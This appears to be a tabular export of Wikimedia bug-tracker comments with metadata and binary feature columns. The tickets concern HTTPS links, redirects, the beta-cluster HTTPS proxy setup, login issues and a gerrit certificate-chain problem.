+151925,Wikimedia 404 Error shouldn't hardcode http,HTTP hardcoding seems to have been removed so I am closing this bug.,,,1329759768,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+151911,Wikimedia 404 Error shouldn't hardcode http,"(In reply to comment #4)
+> Also, the link below seems to hardcoded //en.wikipedia.org - which should show
+> https://www.mediawiki.org
+
+That is bug 28648.",,,1329759707,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+151903,Wikimedia 404 Error shouldn't hardcode http,"Created attachment 9142
+outside /w the error seems to be good
+
+**Attached**: {F8247}",,,1317576218,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+151896,Wikimedia 404 Error shouldn't hardcode http,"Also, the link below seems to hardcoded //en.wikipedia.org - which should show https://www.mediawiki.org",,,1317576027,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+151890,Wikimedia 404 Error shouldn't hardcode http,"Created attachment 9141
+http in the error on https://www.mediawiki.org
+
+**Attached**: {F8246}",,,1317575994,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+151884,Wikimedia 404 Error shouldn't hardcode http,Bug is back.,,,1317575972,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,True,,,-100,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+151878,Wikimedia 404 Error shouldn't hardcode http,Fixed.,,,1315237944,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cnle2hlxk4wnngobwoq7,task_subcomment,,True,c2,0,False,,,-104,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+39240,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"I created an account for Dan-nl ( https://nl.wikipedia.org/w/index.php?title=Speciaal%3ALogboeken&type=newusers&user=Multichill&page=&year=&month=-1&tagfilter=&hide_patrol_log=1 ). The email didn't contain a link so Dan tried to login on the English Wikipedia with his temp password, but that didn't work. He had to go to the nlwp to get it working.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1338460860,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-gjpi6af6hqzce5sopx3k,task_description,open,True,c2,1,False,False,,-65,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+173480,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"(In reply to comment #2)
+> Now I see you created the account using standard interface from ""Multichill"",
+> target user needs to login at least once to wiki so that global account is
+> created
+
+Never heard of this. [[m:Special:CentralAuth/Dan-nl]] shows the global account has been created immediately.
+Clarified summary and moved to CentralAuth component.",,,1345793759,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-53,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1
+173477,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"Now I see you created the account using standard interface from ""Multichill"", target user needs to login at least once to wiki so that global account is created",,,1338461385,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-65,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+173467,Login with with automatic account creation doesn't work with temporary password (accounts created by email),"Because the SUL account was not created, how did you register the account? He has two different passwords in this moment, tell him to reset the password on both wiki's using his e-mail, then he needs to login to both and merge them",,,1338461306,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-gjpi6af6hqzce5sopx3k,task_subcomment,,True,c2,1,True,,,-65,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+38952,Requests for resources through a non-canonical address over HTTPS redirect to the canonical address on HTTP,"As the topic says:
+
+* https://www.wikimediafoundation.org -> http://wikimediafoundation.org
+* https://mediawiki.org -> http://www.mediawiki.org
+* https://www.wikisource.org -> http://wikisource.org/
+* ..
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1337330880,1468976461.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xqqqgn2dels45flxw5kb,False,PHID-TASK-ytlztly37t5b662trr3f,task_description,duplicate,True,c2,1,True,False,False,-67,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+174784,Requests for resources through a non-canonical address over HTTPS redirect to the canonical address on HTTP,"
+
+*** This bug has been marked as a duplicate of bug 31369 ***",,,1340842014,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ytlztly37t5b662trr3f,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+38648,replicate HTTPS architecture,"It would be great to have access to the labs using HTTPS. Some tests might require us to have access to a wiki using both HTTP and HTTPS, login tests come to mind.
+
+Following a discussion with ops, it would be possible to use a NGINX proxy as a frontend to split HTTP and HTTPS requests. HTTPS would be terminated on a second NGINX proxy just like in production.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1336496040,1369125111.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-tnsugautoyxawtej4a6p,task_description,resolved,True,c2,1,True,False,True,-69,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+174361,replicate HTTPS architecture,"This is overall fixed, we still have to generate the SSL certificates which is bug 48501.  To reduce a bit the number of bugs, I hereby declare we have HTTPS architecture on beta.",,,1369125111,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+174354,replicate HTTPS architecture,"With the help of Ariel, we got HTTPS on beta now! https://en.wikipedia.beta.wmflabs.org/wiki/Main_Page and for bits as well. The certificate names are not matching though.",,,1368531998,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+174345,replicate HTTPS architecture,"The deployment-nginx-test instance has Gerrit change #62582 (patchset 8) applied. I have manually tweaked the configuration in the following way:
+
+/etc/hosts makes bits.beta.wmflabs.org to 127.0.0.1
+
+Upstream cache is set to the bits cache since my instance does not run a bits cache locally. Hence the conf shows up as:
+
+ upstream bits {
+   server 10.4.0.51:80;
+   server 10.4.0.51:80;
+ }
+
+
+Doing a local curl such as: curl https://bits.beta.wmflabs.org/  does give me some valid content.  So I guess we have a first pass working.",,,1367940695,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-17,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+174334,replicate HTTPS architecture,"[ccing Ariel]
+
+Ariel and I did a brainstorming this afternoon. We now have an overall idea of the HTTPS infrastructure and Ariel about the beta setup.
+
+Beta does not have any support for LVS right now so we can not replicate production exactly. For example, the connections are sent directly to the caches instead of through a frontend LVS server, that means we cannot catch all the HTTPS connections and direct them at a pool of nginx proxies.
+
+Instead, the rough plan is to have a nginx proxy on each of the beta cache. It will listen on port 443, terminate the SSL connection and use the localhost cache as an upstream peer.
+
+The SSL certificates will be problematic since we have a lot of subdomains, as a first step we will use self signed certificates.",,,1367867347,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+174328,replicate HTTPS architecture,This is needed pretty badly for the work we're doing on auth systems.  Setting to high priority.,,,1367267652,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+174322,replicate HTTPS architecture,"Enabling this would also help to test changes to login and create account forms, which display links to secure login and are affected by $wgSecureLoginDefaultHTTPS.",,,1365728906,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+174316,replicate HTTPS architecture,"Puppet:
+Most settings are in manifests/protoproxy.pp
+Nginx configuration is at templates/nginx/sites/proxy.erb",,,1363644167,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1
+174310,replicate HTTPS architecture,"Chris Steipp could use HTTPS for several features that are pending on the production cluster.
+
+We need to sort out the protoproxy puppet class to make it fit the beta environment.",,,1363643936,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-24,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+174303,replicate HTTPS architecture,*** Bug 34367 has been marked as a duplicate of this bug. ***,,,1337106051,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-68,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+174295,replicate HTTPS architecture,"Moving to very low priority, we do not need HTTPS right now.",,,1336496077,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-69,True,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+38628,Scrollbar covers user login,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+Scrollbar problem
+
+See the attached screenshot.
+
+Steps to reproduce. I'm on a computer with Windows 7, IE9.
+
+1) Go to the super secret page URL.
+2) Scroll down until the end of the page.
+3) Scroll back up to the top and the ""showing namespace..."" bar will continue up past the New Pages Feed title to cover the login, user page/talk page etc pages.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC
+
+**Attached**: {F9225}",Medium,50.0,1336465320,1337884786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2jr6qxvgirebb7muu2rr,task_description,resolved,True,c2,1,False,False,True,-69,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+173184,Scrollbar covers user login,"This has already been fixed, but the fix won't go out for a couple weeks. You can test at http://ee-prototype.wmflabs.org/wiki/Special:NewPagesFeed.",,,1337884786,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2jr6qxvgirebb7muu2rr,task_subcomment,,True,c2,1,False,,,-66,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+37826,[wikitech] Use SSL in interwiki map for WMF wikis,"there is the text
+  ""leaving a request on this page (MediaWiki.org) (this is recommended""
+which links to
+  http://www.mediawiki.org/wiki/Developer_access...
+
+Would someone be so kind to convert that to protocol neutral.  I am told that it it is done by the interwiki map that labs uses and to post this bz.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68751",Medium,50.0,1333953000,1426691475.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-bze3db3pl2w35be2rll6,task_description,resolved,True,c2,1,False,False,False,-73,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+428452,[wikitech] Use SSL in interwiki map for WMF wikis,"I dumped the result of Interwiki::getAllPrefixes() from labswiki (wikitech) and it seems OK:
+```krenair@silver:~$ grep ""http:"" interwikis | grep wikimedia.org
+    string(40) ""http://download.wikimedia.org/$1/latest/""
+    string(32) ""http://releases.wikimedia.org/$1""
+    string(29) ""http://stats.wikimedia.org/$1""
+    string(35) ""http://www.wikimedia.org.ar/wiki/$1""
+    string(31) ""http://wikimedia.org.au/wiki/$1""
+    string(30) ""http://www.wikimedia.org.il/$1""
+    string(47) ""http://wikimedia.org.ph/wmph/index.php?title=$1""
+    string(31) ""http://wikimedia.org.ve/wiki/$1""
+    string(31) ""http://wikimedia.org.za/wiki/$1""```
+
+Most Wikimedia sites have protocol-relative links in there, which is fine because wikitech is SSL-only. Those few that don't which (listed above) are manually configured as such at https://meta.wikimedia.org/wiki/Interwiki_map and the same would apply on all WMF wikis.",,,1426691475,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,81,True,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,1
+172049,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to Daniel Zahn from comment #5)
+> (In reply to billinghurst from comment #0)
+> > there is the text
+> >   ""leaving a request on this page (MediaWiki.org) (this is recommended""
+> 
+> where is ""there"" please?
+
+It was covered in comment #2
+
+Old subject was ""Protocol neutral link from https://labsconsole.wikimedia.org/wiki/Help:Access#Giving_users_Labs_access.2C_if_they_don.27t_already_have_SVN_access""
+
+I think that it is probably redundant as labsconsole has bitten the dust in that form, and the page has been rewritten. The underlying aspect was that labsconsole apparently used a different interwiki mapping than the universal, and that now seems to not be the case. Others may wish to confirm that.",,,1411087497,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,False,,,55,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+172044,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to billinghurst from comment #0)
+> there is the text
+>   ""leaving a request on this page (MediaWiki.org) (this is recommended""
+
+where is ""there"" please?",,,1411085648,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,55,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1
+172038,[wikitech] Use SSL in interwiki map for WMF wikis,I wonder if this was this done as part of bug 68751?,,,1411085173,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,55,True,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+172032,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to comment #2)
+> Enforcing secure protocol from labsconsole is just as problematic where people
+> have logged in with http: in other (home) wikis, it just reverses the problem.
+
+I don't understand but surely it's not relevant to this bug. Maybe you could explain on IRC? (to be clear: labsconsole is not an SUL wiki and not even on the cluster (I think?) and AFAIK it's been forcing everyone to use SSL/TLS since it was initially created)
+
+[...]
+> Until there is a global policy about security protocols, and a clear plan to
+> manage it, this modification to my request is problematic.
+
+Again, I don't follow. labsconsole seems to be an independent that doesn't interact with or even know about any of the other wikis run by the foundation. and they don't know about it. (accepting maybe commons. but that could be instantcommons for all I know.)
+
+> PS. It would be useful that if there is a summary change that the original
+> summary could be retained somewhere.
+
+It's recorded in the history (see the link next to the bug's modification time. next to the CC list at the top of the page) and in the email notifications about the change.",,,1334034295,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+172026,[wikitech] Use SSL in interwiki map for WMF wikis,"Enforcing secure protocol from labsconsole is just as problematic where people have logged in with http: in other (home) wikis, it just reverses the problem.
+
+This situation is not just for (hacker|geek)ville, it has to work more broadly for the masses where our pushing protocols but not entirely has people falling in and out of their logins.
+
+Until there is a global policy about security protocols, and a clear plan to manage it, this modification to my request is problematic.
+
+PS. It would be useful that if there is a summary change that the original summary could be retained somewhere.
+
+Old subject was ""Protocol neutral link from https://labsconsole.wikimedia.org/wiki/Help:Access#Giving_users_Labs_access.2C_if_they_don.27t_already_have_SVN_access""",,,1334023992,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+172019,[wikitech] Use SSL in interwiki map for WMF wikis,"changed summary: use SSL in interwiki map for WMF wikis
+
+protorel is semi pointless because that wiki doesn't allow viewing (anon or logged in) with cleartext HTTP (redirects everyone to HTTPS); so we can just hard code all of them to be HTTPS URLs.",,,1333986438,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+37709,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"> @willow:~/externals$ git clone  https://gerrit.wikimedia.org/r/p/mediawiki/core.git mediawiki/core
+> Cloning into mediawiki/core...
+> error: SSL certificate problem, verify that the CA cert is OK. Details:
+> error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed while accessing > https://gerrit.wikimedia.org/r/p/mediawiki/core.git/info/refs
+> 
+> fatal: HTTP request failed
+
+
+It seems Toolserver doesn't have all the local certs up to date and thus I'm unable to do an anonymous check out there.
+
+[#mediawiki] <thedj> yeah i think the intermediate certificates are not in the chain sent by the server.
+[#mediawiki] <thedj> Krinkle: en.wp has 3 certs listed in the cert chain when you use openssl. But gerrit.wm.org just the server cert.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1333580700,1336413475.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_description,resolved,True,c2,1,True,False,True,-73,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+165279,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Yay!
+
